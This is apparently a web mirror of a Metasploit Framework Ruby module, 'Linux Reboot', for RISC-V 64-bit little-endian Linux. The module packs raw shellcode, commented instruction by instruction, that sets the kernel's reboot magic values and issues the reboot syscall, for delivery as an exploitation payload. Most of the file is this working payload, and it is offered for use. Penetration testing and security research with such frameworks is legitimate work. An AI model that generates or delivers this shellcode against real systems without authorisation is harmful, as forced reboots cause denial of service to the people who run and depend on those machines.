Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv64le/reboot.rb
32945 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 40
8
9
include Msf::Payload::Linux::Riscv64le::Prepends
10
include Msf::Payload::Single
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Reboot',
17
'Description' => %q{
18
A very small shellcode for rebooting the system using
19
the reboot syscall. This payload is sometimes helpful
20
for testing purposes. Requires CAP_SYS_BOOT privileges.
21
},
22
'Author' => 'bcoles',
23
'License' => MSF_LICENSE,
24
'Platform' => 'linux',
25
'Arch' => ARCH_RISCV64LE,
26
'References' => [
27
['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
28
['URL', 'https://github.com/bcoles/shellcode/blob/main/riscv64/reboot/reboot.s'],
29
]
30
)
31
)
32
end
33
34
def generate(_opts = {})
35
shellcode =
36
[0x0007f537].pack('V*') + # lui a0,0x7f
37
[0x70f5051b].pack('V*') + # addiw a0,a0,1807
38
[0x00d51513].pack('V*') + # slli a0,a0,0xd
39
[0xead50513].pack('V*') + # addi a0,a0,-339
40
[0x281225b7].pack('V*') + # lui a1,0x28122
41
[0x9695859b].pack('V*') + # addiw a1,a1,-1687
42
[0x01234637].pack('V*') + # lui a2,0x1234
43
[0x5676061b].pack('V*') + # addiw a2,a2,1383
44
[0x08e00893].pack('V*') + # li a7,142
45
[0x00000073].pack('V*') # ecall
46
47
super.to_s + shellcode
48
end
49
end
50
51